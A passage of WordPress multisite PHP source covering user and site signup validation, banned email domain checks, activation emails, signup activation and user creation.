		$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $user_id ) );

		if ( ! empty( $post_ids ) ) {
			$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_author = %d WHERE post_author = %d", $reassign, $user_id ) );
			array_walk( $post_ids, 'clean_post_cache' );
		}

		if ( ! empty( $link_ids ) ) {
			$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->links SET link_owner = %d WHERE link_owner = %d", $reassign, $user_id ) );
			array_walk( $link_ids, 'clean_bookmark_cache' );
		}
	}

	clean_user_cache( $user_id );
	restore_current_blog();

	return true;
}

/**
 * Gets the permalink for a post on another blog.
 *
 * @since MU (3.0.0) 1.0
 *
 * @param int $blog_id ID of the source blog.
 * @param int $post_id ID of the desired post.
 * @return string The post's permalink.
 */
function get_blog_permalink( $blog_id, $post_id ) {
	switch_to_blog( $blog_id );
	$link = get_permalink( $post_id );
	restore_current_blog();

	return $link;
}

/**
 * Gets a blog's numeric ID from its URL.
 *
 * On a subdirectory installation like example.com/blog1/,
 * $domain will be the root 'example.com' and $path the
 * subdirectory '/blog1/'. With subdomains like blog1.example.com,
 * $domain is 'blog1.example.com' and $path is '/'.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $domain Website domain.
 * @param string $path   Optional. Not required for subdomain installations. Default '/'.
 * @return int 0 if no blog found, otherwise the ID of the matching blog.
 */
function get_blog_id_from_url( $domain, $path = '/' ) {
	$domain = strtolower( $domain );
	$path   = strtolower( $path );
	$id     = wp_cache_get( md5( $domain . $path ), 'blog-id-cache' );

	if ( -1 == $id ) { // Blog does not exist.
		return 0;
	} elseif ( $id ) {
		return (int) $id;
	}

	$args   = array(
		'domain'                 => $domain,
		'path'                   => $path,
		'fields'                 => 'ids',
		'number'                 => 1,
		'update_site_meta_cache' => false,
	);
	$result = get_sites( $args );
	$id     = array_shift( $result );

	if ( ! $id ) {
		wp_cache_set( md5( $domain . $path ), -1, 'blog-id-cache' );
		return 0;
	}

	wp_cache_set( md5( $domain . $path ), $id, 'blog-id-cache' );

	return $id;
}

//
// Admin functions.
//

/**
 * Checks an email address against a list of banned domains.
 *
 * This function checks against the Banned Email Domains list
 * at wp-admin/network/settings.php. The check is only run on
 * self-registrations; user creation at wp-admin/network/users.php
 * bypasses this check.
 *
 * @since MU (3.0.0)
 *
 * @param string $user_email The email provided by the user at registration.
 * @return bool True when the email address is banned, false otherwise.
 */
function is_email_address_unsafe( $user_email ) {
	$banned_names = get_site_option( 'banned_email_domains' );
	if ( $banned_names && ! is_array( $banned_names ) ) {
		$banned_names = explode( "\n", $banned_names );
	}

	$is_email_address_unsafe = false;

	if ( $banned_names && is_array( $banned_names ) && false !== strpos( $user_email, '@', 1 ) ) {
		$banned_names     = array_map( 'strtolower', $banned_names );
		$normalized_email = strtolower( $user_email );

		list( $email_local_part, $email_domain ) = explode( '@', $normalized_email );

		foreach ( $banned_names as $banned_domain ) {
			if ( ! $banned_domain ) {
				continue;
			}

			if ( $email_domain === $banned_domain ) {
				$is_email_address_unsafe = true;
				break;
			}

			if ( str_ends_with( $normalized_email, ".$banned_domain" ) ) {
				$is_email_address_unsafe = true;
				break;
			}
		}
	}

	/**
	 * Filters whether an email address is unsafe.
	 *
	 * @since 3.5.0
	 *
	 * @param bool   $is_email_address_unsafe Whether the email address is "unsafe". Default false.
	 * @param string $user_email              User email address.
	 */
	return apply_filters( 'is_email_address_unsafe', $is_email_address_unsafe, $user_email );
}

/**
 * Sanitizes and validates data required for a user sign-up.
 *
 * Verifies the validity and uniqueness of user names and user email addresses,
 * and checks email addresses against allowed and disallowed domains provided by
 * administrators.
 *
 * The {@see 'wpmu_validate_user_signup'} hook provides an easy way to modify the sign-up
 * process. The value $result, which is passed to the hook, contains both the user-provided
 * info and the error messages created by the function. {@see 'wpmu_validate_user_signup'}
 * allows you to process the data in any way you'd like, and unset the relevant errors if
 * necessary.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $user_name  The login name provided by the user.
 * @param string $user_email The email provided by the user.
 * @return array {
 *     The array of user name, email, and the error messages.
 *
 *     @type string   $user_name     Sanitized and unique username.
 *     @type string   $orig_username Original username.
 *     @type string   $user_email    User email address.
 *     @type WP_Error $errors        WP_Error object containing any errors found.
 * }
 */
function wpmu_validate_user_signup( $user_name, $user_email ) {
	global $wpdb;

	$errors = new WP_Error();

	$orig_username = $user_name;
	$user_name     = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) );

	if ( $user_name != $orig_username || preg_match( '/[^a-z0-9]/', $user_name ) ) {
		$errors->add( 'user_name', __( 'Usernames can only contain lowercase letters (a-z) and numbers.' ) );
		$user_name = $orig_username;
	}

	$user_email = sanitize_email( $user_email );

	if ( empty( $user_name ) ) {
		$errors->add( 'user_name', __( 'Please enter a username.' ) );
	}

	$illegal_names = get_site_option( 'illegal_names' );
	if ( ! is_array( $illegal_names ) ) {
		$illegal_names = array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' );
		add_site_option( 'illegal_names', $illegal_names );
	}
	if ( in_array( $user_name, $illegal_names, true ) ) {
		$errors->add( 'user_name', __( 'Sorry, that username is not allowed.' ) );
	}

	/** This filter is documented in wp-includes/user.php */
	$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

	if ( in_array( strtolower( $user_name ), array_map( 'strtolower', $illegal_logins ), true ) ) {
		$errors->add( 'user_name', __( 'Sorry, that username is not allowed.' ) );
	}

	if ( ! is_email( $user_email ) ) {
		$errors->add( 'user_email', __( 'Please enter a valid email address.' ) );
	} elseif ( is_email_address_unsafe( $user_email ) ) {
		$errors->add( 'user_email', __( 'You cannot use that email address to signup. There are problems with them blocking some emails from WordPress. Please use another email provider.' ) );
	}

	if ( strlen( $user_name ) < 4 ) {
		$errors->add( 'user_name', __( 'Username must be at least 4 characters.' ) );
	}

	if ( strlen( $user_name ) > 60 ) {
		$errors->add( 'user_name', __( 'Username may not be longer than 60 characters.' ) );
	}

	// All numeric?
	if ( preg_match( '/^[0-9]*$/', $user_name ) ) {
		$errors->add( 'user_name', __( 'Sorry, usernames must have letters too!' ) );
	}

	$limited_email_domains = get_site_option( 'limited_email_domains' );
	if ( is_array( $limited_email_domains ) && ! empty( $limited_email_domains ) ) {
		$limited_email_domains = array_map( 'strtolower', $limited_email_domains );
		$emaildomain           = strtolower( substr( $user_email, 1 + strpos( $user_email, '@' ) ) );
		if ( ! in_array( $emaildomain, $limited_email_domains, true ) ) {
			$errors->add( 'user_email', __( 'Sorry, that email address is not allowed!' ) );
		}
	}

	// Check if the username has been used already.
	if ( username_exists( $user_name ) ) {
		$errors->add( 'user_name', __( 'Sorry, that username already exists!' ) );
	}

	// Check if the email address has been used already.
	if ( email_exists( $user_email ) ) {
		$errors->add(
			'user_email',
			sprintf(
				/* translators: %s: Link to the login page. */
				__( '<strong>Error:</strong> This email address is already registered. <a href="%s">Log in</a> with this address or choose another one.' ),
				wp_login_url()
			)
		);
	}

	// Has someone already signed up for this username?
	$signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE user_login = %s", $user_name ) );
	if ( $signup instanceof stdClass ) {
		$registered_at = mysql2date( 'U', $signup->registered );
		$now           = time();
		$diff          = $now - $registered_at;
		// If registered more than two days ago, cancel registration and let this signup go through.
		if ( $diff > 2 * DAY_IN_SECONDS ) {
			$wpdb->delete( $wpdb->signups, array( 'user_login' => $user_name ) );
		} else {
			$errors->add( 'user_name', __( 'That username is currently reserved but may be available in a couple of days.' ) );
		}
	}

	$signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE user_email = %s", $user_email ) );
	if ( $signup instanceof stdClass ) {
		$diff = time() - mysql2date( 'U', $signup->registered );
		// If registered more than two days ago, cancel registration and let this signup go through.
		if ( $diff > 2 * DAY_IN_SECONDS ) {
			$wpdb->delete( $wpdb->signups, array( 'user_email' => $user_email ) );
		} else {
			$errors->add( 'user_email', __( 'That email address has already been used. Please check your inbox for an activation email. It will become available in a couple of days if you do nothing.' ) );
		}
	}

	$result = array(
		'user_name'     => $user_name,
		'orig_username' => $orig_username,
		'user_email'    => $user_email,
		'errors'        => $errors,
	);

	/**
	 * Filters the validated user registration details.
	 *
	 * This does not allow you to override the username or email of the user during
	 * registration. The values are solely used for validation and error handling.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param array $result {
	 *     The array of user name, email, and the error messages.
	 *
	 *     @type string   $user_name     Sanitized and unique username.
	 *     @type string   $orig_username Original username.
	 *     @type string   $user_email    User email address.
	 *     @type WP_Error $errors        WP_Error object containing any errors found.
	 * }
	 */
	return apply_filters( 'wpmu_validate_user_signup', $result );
}

/**
 * Processes new site registrations.
 *
 * Checks the data provided by the user during blog signup. Verifies
 * the validity and uniqueness of blog paths and domains.
 *
 * This function prevents the current user from registering a new site
 * with a blogname equivalent to another user's login name. Passing the
 * $user parameter to the function, where $user is the other user, is
 * effectively an override of this limitation.
 *
 * Filter {@see 'wpmu_validate_blog_signup'} if you want to modify
 * the way that WordPress validates new site signups.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb   $wpdb   WordPress database abstraction object.
 * @global string $domain
 *
 * @param string         $blogname   The site name provided by the user. Must be unique.
 * @param string         $blog_title The site title provided by the user.
 * @param WP_User|string $user       Optional. The user object to check against the new site name.
 *                                   Default empty string.
 * @return array {
 *     Array of domain, path, site name, site title, user and error messages.
 *
 *     @type string         $domain     Domain for the site.
 *     @type string         $path       Path for the site. Used in subdirectory installations.
 *     @type string         $blogname   The unique site name (slug).
 *     @type string         $blog_title Blog title.
 *     @type string|WP_User $user       By default, an empty string. A user object if provided.
 *     @type WP_Error       $errors     WP_Error containing any errors found.
 * }
 */
function wpmu_validate_blog_signup( $blogname, $blog_title, $user = '' ) {
	global $wpdb, $domain;

	$current_network = get_network();
	$base            = $current_network->path;

	$blog_title = strip_tags( $blog_title );

	$errors        = new WP_Error();
	$illegal_names = get_site_option( 'illegal_names' );
	if ( false == $illegal_names ) {
		$illegal_names = array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' );
		add_site_option( 'illegal_names', $illegal_names );
	}

	/*
	 * On sub dir installations, some names are so illegal, only a filter can
	 * spring them from jail.
	 */
	if ( ! is_subdomain_install() ) {
		$illegal_names = array_merge( $illegal_names, get_subdirectory_reserved_names() );
	}

	if ( empty( $blogname ) ) {
		$errors->add( 'blogname', __( 'Please enter a site name.' ) );
	}

	if ( preg_match( '/[^a-z0-9]+/', $blogname ) ) {
		$errors->add( 'blogname', __( 'Site names can only contain lowercase letters (a-z) and numbers.' ) );
	}

	if ( in_array( $blogname, $illegal_names, true ) ) {
		$errors->add( 'blogname', __( 'That name is not allowed.' ) );
	}

	/**
	 * Filters the minimum site name length required when validating a site signup.
	 *
	 * @since 4.8.0
	 *
	 * @param int $length The minimum site name length. Default 4.
	 */
	$minimum_site_name_length = apply_filters( 'minimum_site_name_length', 4 );

	if ( strlen( $blogname ) < $minimum_site_name_length ) {
		/* translators: %s: Minimum site name length. */
		$errors->add( 'blogname', sprintf( _n( 'Site name must be at least %s character.', 'Site name must be at least %s characters.', $minimum_site_name_length ), number_format_i18n( $minimum_site_name_length ) ) );
	}

	// Do not allow users to create a site that conflicts with a page on the main blog.
	if ( ! is_subdomain_install() && $wpdb->get_var( $wpdb->prepare( 'SELECT post_name FROM ' . $wpdb->get_blog_prefix( $current_network->site_id ) . "posts WHERE post_type = 'page' AND post_name = %s", $blogname ) ) ) {
		$errors->add( 'blogname', __( 'Sorry, you may not use that site name.' ) );
	}

	// All numeric?
	if ( preg_match( '/^[0-9]*$/', $blogname ) ) {
		$errors->add( 'blogname', __( 'Sorry, site names must have letters too!' ) );
	}

	/**
	 * Filters the new site name during registration.
	 *
	 * The name is the site's subdomain or the site's subdirectory
	 * path depending on the network settings.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $blogname Site name.
	 */
	$blogname = apply_filters( 'newblogname', $blogname );

	$blog_title = wp_unslash( $blog_title );

	if ( empty( $blog_title ) ) {
		$errors->add( 'blog_title', __( 'Please enter a site title.' ) );
	}

	// Check if the domain/path has been used already.
	if ( is_subdomain_install() ) {
		$mydomain = $blogname . '.' . preg_replace( '|^www\.|', '', $domain );
		$path     = $base;
	} else {
		$mydomain = $domain;
		$path     = $base . $blogname . '/';
	}
	if ( domain_exists( $mydomain, $path, $current_network->id ) ) {
		$errors->add( 'blogname', __( 'Sorry, that site already exists!' ) );
	}

	/*
	 * Do not allow users to create a site that matches an existing user's login name,
	 * unless it's the user's own username.
	 */
	if ( username_exists( $blogname ) ) {
		if ( ! is_object( $user ) || ( is_object( $user ) && ( $user->user_login != $blogname ) ) ) {
			$errors->add( 'blogname', __( 'Sorry, that site is reserved!' ) );
		}
	}

	/*
	 * Has someone already signed up for this domain?
	 * TODO: Check email too?
	 */
	$signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE domain = %s AND path = %s", $mydomain, $path ) );
	if ( $signup instanceof stdClass ) {
		$diff = time() - mysql2date( 'U', $signup->registered );
		// If registered more than two days ago, cancel registration and let this signup go through.
		if ( $diff > 2 * DAY_IN_SECONDS ) {
			$wpdb->delete(
				$wpdb->signups,
				array(
					'domain' => $mydomain,
					'path'   => $path,
				)
			);
		} else {
			$errors->add( 'blogname', __( 'That site is currently reserved but may be available in a couple days.' ) );
		}
	}

	$result = array(
		'domain'     => $mydomain,
		'path'       => $path,
		'blogname'   => $blogname,
		'blog_title' => $blog_title,
		'user'       => $user,
		'errors'     => $errors,
	);

	/**
	 * Filters site details and error messages following registration.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param array $result {
	 *     Array of domain, path, site name, site title, user and error messages.
	 *
	 *     @type string         $domain     Domain for the site.
	 *     @type string         $path       Path for the site. Used in subdirectory installations.
	 *     @type string         $blogname   The unique site name (slug).
	 *     @type string         $blog_title Site title.
	 *     @type string|WP_User $user       By default, an empty string. A user object if provided.
	 *     @type WP_Error       $errors     WP_Error containing any errors found.
	 * }
	 */
	return apply_filters( 'wpmu_validate_blog_signup', $result );
}

/**
 * Records site signup information for future activation.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $domain     The requested domain.
 * @param string $path       The requested path.
 * @param string $title      The requested site title.
 * @param string $user       The user's requested login name.
 * @param string $user_email The user's email address.
 * @param array  $meta       Optional. Signup meta data. By default, contains the requested privacy setting and lang_id.
 */
function wpmu_signup_blog( $domain, $path, $title, $user, $user_email, $meta = array() ) {
	global $wpdb;

	$key = substr( md5( time() . wp_rand() . $domain ), 0, 16 );

	/**
	 * Filters the metadata for a site signup.
	 *
	 * The metadata will be serialized prior to storing it in the database.
	 *
	 * @since 4.8.0
	 *
	 * @param array  $meta       Signup meta data. Default empty array.
	 * @param string $domain     The requested domain.
	 * @param string $path       The requested path.
	 * @param string $title      The requested site title.
	 * @param string $user       The user's requested login name.
	 * @param string $user_email The user's email address.
	 * @param string $key        The user's activation key.
	 */
	$meta = apply_filters( 'signup_site_meta', $meta, $domain, $path, $title, $user, $user_email, $key );

	$wpdb->insert(
		$wpdb->signups,
		array(
			'domain'         => $domain,
			'path'           => $path,
			'title'          => $title,
			'user_login'     => $user,
			'user_email'     => $user_email,
			'registered'     => current_time( 'mysql', true ),
			'activation_key' => $key,
			'meta'           => serialize( $meta ),
		)
	);

	/**
	 * Fires after site signup information has been written to the database.
	 *
	 * @since 4.4.0
	 *
	 * @param string $domain     The requested domain.
	 * @param string $path       The requested path.
	 * @param string $title      The requested site title.
	 * @param string $user       The user's requested login name.
	 * @param string $user_email The user's email address.
	 * @param string $key        The user's activation key.
	 * @param array  $meta       Signup meta data. By default, contains the requested privacy setting and lang_id.
	 */
	do_action( 'after_signup_site', $domain, $path, $title, $user, $user_email, $key, $meta );
}

/**
 * Records user signup information for future activation.
 *
 * This function is used when user registration is open but
 * new site registration is not.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $user       The user's requested login name.
 * @param string $user_email The user's email address.
 * @param array  $meta       Optional. Signup meta data. Default empty array.
 */
function wpmu_signup_user( $user, $user_email, $meta = array() ) {
	global $wpdb;

	// Format data.
	$user       = preg_replace( '/\s+/', '', sanitize_user( $user, true ) );
	$user_email = sanitize_email( $user_email );
	$key        = substr( md5( time() . wp_rand() . $user_email ), 0, 16 );

	/**
	 * Filters the metadata for a user signup.
	 *
	 * The metadata will be serialized prior to storing it in the database.
	 *
	 * @since 4.8.0
	 *
	 * @param array  $meta       Signup meta data. Default empty array.
	 * @param string $user       The user's requested login name.
	 * @param string $user_email The user's email address.
	 * @param string $key        The user's activation key.
	 */
	$meta = apply_filters( 'signup_user_meta', $meta, $user, $user_email, $key );

	$wpdb->insert(
		$wpdb->signups,
		array(
			'domain'         => '',
			'path'           => '',
			'title'          => '',
			'user_login'     => $user,
			'user_email'     => $user_email,
			'registered'     => current_time( 'mysql', true ),
			'activation_key' => $key,
			'meta'           => serialize( $meta ),
		)
	);

	/**
	 * Fires after a user's signup information has been written to the database.
	 *
	 * @since 4.4.0
	 *
	 * @param string $user       The user's requested login name.
	 * @param string $user_email The user's email address.
	 * @param string $key        The user's activation key.
	 * @param array  $meta       Signup meta data. Default empty array.
	 */
	do_action( 'after_signup_user', $user, $user_email, $key, $meta );
}

/**
 * Sends a confirmation request email to a user when they sign up for a new site. The new site will not become active
 * until the confirmation link is clicked.
 *
 * This is the notification function used when site registration
 * is enabled.
 *
 * Filter {@see 'wpmu_signup_blog_notification'} to bypass this function or
 * replace it with your own notification behavior.
 *
 * Filter {@see 'wpmu_signup_blog_notification_email'} and
 * {@see 'wpmu_signup_blog_notification_subject'} to change the content
 * and subject line of the email sent to newly registered users.
 *
 * @since MU (3.0.0)
 *
 * @param string $domain     The new blog domain.
 * @param string $path       The new blog path.
 * @param string $title      The site title.
 * @param string $user_login The user's login name.
 * @param string $user_email The user's email address.
 * @param string $key        The activation key created in wpmu_signup_blog().
 * @param array  $meta       Optional. Signup meta data. By default, contains the requested privacy setting and lang_id.
 * @return bool
 */
function wpmu_signup_blog_notification( $domain, $path, $title, $user_login, $user_email, $key, $meta = array() ) {
	/**
	 * Filters whether to bypass the new site email notification.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string|false $domain     Site domain, or false to prevent the email from sending.
	 * @param string       $path       Site path.
	 * @param string       $title      Site title.
	 * @param string       $user_login User login name.
	 * @param string       $user_email User email address.
	 * @param string       $key        Activation key created in wpmu_signup_blog().
	 * @param array        $meta       Signup meta data. By default, contains the requested privacy setting and lang_id.
	 */
	if ( ! apply_filters( 'wpmu_signup_blog_notification', $domain, $path, $title, $user_login, $user_email, $key, $meta ) ) {
		return false;
	}

	// Send email with activation link.
	if ( ! is_subdomain_install() || get_current_network_id() != 1 ) {
		$activate_url = network_site_url( "wp-activate.php?key=$key" );
	} else {
		$activate_url = "http://{$domain}{$path}wp-activate.php?key=$key"; // @todo Use *_url() API.
	}

	$activate_url = esc_url( $activate_url );

	$admin_email = get_site_option( 'admin_email' );

	if ( '' === $admin_email ) {
		$admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST );
	}

	$from_name       = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress';
	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n";

	$user            = get_user_by( 'login', $user_login );
	$switched_locale = $user && switch_to_user_locale( $user->ID );

	$message = sprintf(
		/**
		 * Filters the message content of the new blog notification email.
		 *
		 * Content should be formatted for transmission via wp_mail().
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string $content    Content of the notification email.
		 * @param string $domain     Site domain.
		 * @param string $path       Site path.
		 * @param string $title      Site title.
		 * @param string $user_login User login name.
		 * @param string $user_email User email address.
		 * @param string $key        Activation key created in wpmu_signup_blog().
		 * @param array  $meta       Signup meta data. By default, contains the requested privacy setting and lang_id.
		 */
		apply_filters(
			'wpmu_signup_blog_notification_email',
			/* translators: New site notification email. 1: Activation URL, 2: New site URL. */
			__( "To activate your site, please click the following link:\n\n%1\$s\n\nAfter you activate, you will receive *another email* with your login.\n\nAfter you activate, you can visit your site here:\n\n%2\$s" ),
			$domain,
			$path,
			$title,
			$user_login,
			$user_email,
			$key,
			$meta
		),
		$activate_url,
		esc_url( "http://{$domain}{$path}" ),
		$key
	);

	$subject = sprintf(
		/**
		 * Filters the subject of the new blog notification email.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string $subject    Subject of the notification email.
		 * @param string $domain     Site domain.
		 * @param string $path       Site path.
		 * @param string $title      Site title.
		 * @param string $user_login User login name.
		 * @param string $user_email User email address.
		 * @param string $key        Activation key created in wpmu_signup_blog().
		 * @param array  $meta       Signup meta data. By default, contains the requested privacy setting and lang_id.
		 */
		apply_filters(
			'wpmu_signup_blog_notification_subject',
			/* translators: New site notification email subject. 1: Network title, 2: New site URL. */
			_x( '[%1$s] Activate %2$s', 'New site notification email subject' ),
			$domain,
			$path,
			$title,
			$user_login,
			$user_email,
			$key,
			$meta
		),
		$from_name,
		esc_url( 'http://' . $domain . $path )
	);

	wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	return true;
}

/**
 * Sends a confirmation request email to a user when they sign up for a new user account (without signing up for a site
 * at the same time). The user account will not become active until the confirmation link is clicked.
 *
 * This is the notification function used when no new site has
 * been requested.
 *
 * Filter {@see 'wpmu_signup_user_notification'} to bypass this function or
 * replace it with your own notification behavior.
 *
 * Filter {@see 'wpmu_signup_user_notification_email'} and
 * {@see 'wpmu_signup_user_notification_subject'} to change the content
 * and subject line of the email sent to newly registered users.
 *
 * @since MU (3.0.0)
 *
 * @param string $user_login The user's login name.
 * @param string $user_email The user's email address.
 * @param string $key        The activation key created in wpmu_signup_user()
 * @param array  $meta       Optional. Signup meta data. Default empty array.
 * @return bool
 */
function wpmu_signup_user_notification( $user_login, $user_email, $key, $meta = array() ) {
	/**
	 * Filters whether to bypass the email notification for new user sign-up.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $user_login User login name.
	 * @param string $user_email User email address.
	 * @param string $key        Activation key created in wpmu_signup_user().
	 * @param array  $meta       Signup meta data. Default empty array.
	 */
	if ( ! apply_filters( 'wpmu_signup_user_notification', $user_login, $user_email, $key, $meta ) ) {
		return false;
	}

	$user            = get_user_by( 'login', $user_login );
	$switched_locale = $user && switch_to_user_locale( $user->ID );

	// Send email with activation link.
	$admin_email = get_site_option( 'admin_email' );

	if ( '' === $admin_email ) {
		$admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST );
	}

	$from_name       = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress';
	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n";
	$message         = sprintf(
		/**
		 * Filters the content of the notification email for new user sign-up.
		 *
		 * Content should be formatted for transmission via wp_mail().
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string $content    Content of the notification email.
		 * @param string $user_login User login name.
		 * @param string $user_email User email address.
		 * @param string $key        Activation key created in wpmu_signup_user().
		 * @param array  $meta       Signup meta data. Default empty array.
		 */
		apply_filters(
			'wpmu_signup_user_notification_email',
			/* translators: New user notification email. %s: Activation URL. */
			__( "To activate your user, please click the following link:\n\n%s\n\nAfter you activate, you will receive *another email* with your login." ),
			$user_login,
			$user_email,
			$key,
			$meta
		),
		site_url( "wp-activate.php?key=$key" )
	);

	$subject = sprintf(
		/**
		 * Filters the subject of the notification email of new user signup.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string $subject    Subject of the notification email.
		 * @param string $user_login User login name.
		 * @param string $user_email User email address.
		 * @param string $key        Activation key created in wpmu_signup_user().
		 * @param array  $meta       Signup meta data. Default empty array.
		 */
		apply_filters(
			'wpmu_signup_user_notification_subject',
			/* translators: New user notification email subject. 1: Network title, 2: New user login. */
			_x( '[%1$s] Activate %2$s', 'New user notification email subject' ),
			$user_login,
			$user_email,
			$key,
			$meta
		),
		$from_name,
		$user_login
	);

	wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	return true;
}

/**
 * Activates a signup.
 *
 * Hook to {@see 'wpmu_activate_user'} or {@see 'wpmu_activate_blog'} for events
 * that should happen only when users or sites are self-created (since
 * those actions are not called when users and sites are created
 * by a Super Admin).
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $key The activation key provided to the user.
 * @return array|WP_Error An array containing information about the activated user and/or blog.
 */
function wpmu_activate_signup( $key ) {
	global $wpdb;

	$signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE activation_key = %s", $key ) );

	if ( empty( $signup ) ) {
		return new WP_Error( 'invalid_key', __( 'Invalid activation key.' ) );
	}

	if ( $signup->active ) {
		if ( empty( $signup->domain ) ) {
			return new WP_Error( 'already_active', __( 'The user is already active.' ), $signup );
		} else {
			return new WP_Error( 'already_active', __( 'The site is already active.' ), $signup );
		}
	}

	$meta     = maybe_unserialize( $signup->meta );
	$password = wp_generate_password( 12, false );

	$user_id = username_exists( $signup->user_login );

	if ( ! $user_id ) {
		$user_id = wpmu_create_user( $signup->user_login, $password, $signup->user_email );
	} else {
		$user_already_exists = true;
	}

	if ( ! $user_id ) {
		return new WP_Error( 'create_user', __( 'Could not create user' ), $signup );
	}

	$now = current_time( 'mysql', true );

	if ( empty( $signup->domain ) ) {
		$wpdb->update(
			$wpdb->signups,
			array(
				'active'    => 1,
				'activated' => $now,
			),
			array( 'activation_key' => $key )
		);

		if ( isset( $user_already_exists ) ) {
			return new WP_Error( 'user_already_exists', __( 'That username is already activated.' ), $signup );
		}

		/**
		 * Fires immediately after a new user is activated.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param int    $user_id  User ID.
		 * @param string $password User password.
		 * @param array  $meta     Signup meta data.
		 */
		do_action( 'wpmu_activate_user', $user_id, $password, $meta );

		return array(
			'user_id'  => $user_id,
			'password' => $password,
			'meta'     => $meta,
		);
	}

	$blog_id = wpmu_create_blog( $signup->domain, $signup->path, $signup->title, $user_id, $meta, get_current_network_id() );

	// TODO: What to do if we create a user but cannot create a blog?
	if ( is_wp_error( $blog_id ) ) {
		/*
		 * If blog is taken, that means a previous attempt to activate this blog
		 * failed in between creating the blog and setting the activation flag.
		 * Let's just set the active flag and instruct the user to reset their password.
		 */
		if ( 'blog_taken' === $blog_id->get_error_code() ) {
			$blog_id->add_data( $signup );
			$wpdb->update(
				$wpdb->signups,
				array(
					'active'    => 1,
					'activated' => $now,
				),
				array( 'activation_key' => $key )
			);
		}
		return $blog_id;
	}

	$wpdb->update(
		$wpdb->signups,
		array(
			'active'    => 1,
			'activated' => $now,
		),
		array( 'activation_key' => $key )
	);

	/**
	 * Fires immediately after a site is activated.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int    $blog_id       Blog ID.
	 * @param int    $user_id       User ID.
	 * @param string $password      User password.
	 * @param string $signup_title  Site title.
	 * @param array  $meta          Signup meta data. By default, contains the requested privacy setting and lang_id.
	 */
	do_action( 'wpmu_activate_blog', $blog_id, $user_id, $password, $signup->title, $meta );

	return array(
		'blog_id'  => $blog_id,
		'user_id'  => $user_id,
		'password' => $password,
		'title'    => $signup->title,
		'meta'     => $meta,
	);
}

/**
 * Deletes an associated signup entry when a user is deleted from the database.
 *
 * @since 5.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int      $id       ID of the user to delete.
 * @param int|null $reassign ID of the user to reassign posts and links to.
 * @param WP_User  $user     User object.
 */
function wp_delete_signup_on_user_delete( $id, $reassign, $user ) {
	global $wpdb;

	$wpdb->delete( $wpdb->signups, array( 'user_login' => $user->user_login ) );
}

/**
 * Creates a user.
 *
 * This function runs when a user self-registers as well as when
 * a Super Admin creates a new user. Hook to {@see 'wpmu_new_user'} for events
 * that should affect all new users, but only on Multisite (otherwise
 * use {@see 'user_register'}).
 *
 * @since MU (3.0.0)
 *
 * @param string $user_name The new user's login name.
 * @param string $password  The new user's password.
 * @param string $email     The new user's email address.
 * @return int|false Returns false on failure, or int $user_id on success.
 */
function wpmu_create_user( $user_name, $password, $email ) {
	$user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) );

	$user_id = wp_create_user( $user_name, $password, $email );
	if ( is_wp_error( $user_id ) ) {
		return false;
	}

	// Newly created users have no roles or caps until they are added to a blog.
	delete_user_option( $user_id, 'capabilities' );
	delete_user_option( $user_id, 'user_level' );

	/**
	 * Fires immediately after a new user is created.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int $user_id User ID.
	 */
	do_action( 'wpmu_new_user', $user_id );

	return $user_id;
}

/**
 * Creates a site.
 *
 * This function runs when a user self-registers a new site as well
 * as when a Super Admin creates a new site. Hook to {@see 'wpmu_new_blog'}
 * for events that should affect all new sites.
 *
 * On subdirectory installations, $domain is the same as the main site's
 * domain, and the path is the subdirectory name (eg 'example.com'
 * and '/blog1/'). On subdomain installations, $domain is the new subdomain +
 * root domain (eg 'blog1.example.com'), and $path is '/'.
 *
 * @since MU (3.0.0)
 *
 * @param string $domain     The new site's domain.
 * @param string $path       The new site's path.
 * @param string $title      The new site's title.
